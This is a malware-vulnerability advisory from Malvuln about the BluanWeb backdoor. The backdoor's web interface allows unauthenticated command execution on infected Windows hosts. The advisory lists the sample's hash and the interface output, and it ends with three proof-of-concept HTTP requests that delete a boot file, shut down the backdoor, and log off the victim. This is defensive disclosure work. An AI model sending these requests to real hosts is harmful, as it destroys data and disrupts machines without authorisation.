Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/30903ccbc6747c0da5a2775884b78def_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML page with links to delete, logoff or exit the system. Third-party attackers who can reach an infected host can make HTTP GET request to execute commands made available by the backdoor.

[固定磁盘C]
卷标名：
文件名长度 255
文件系统  NTFS
磁盘大小 3625.000000 MB
剩余空间 3284.000000 MB
[光盘D]

[Fixed Disk C]
Volume label name
Filename length  255
File system  NTFS
Disk size  3625.000000 MB
Free space  3284.000000 MB
[Disc D]

Family:BluanWeb
Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0506
Disclosure: 03/03/2022

Exploit/PoC:
1) delete any file
http://x.x.x.x/unlink_C:/Boot/BCD.LOG

2) DOS backdoor
curl http://x.x.x.x/exit

3) sign out the victim machine
curl http://x.x.x.x/logoff

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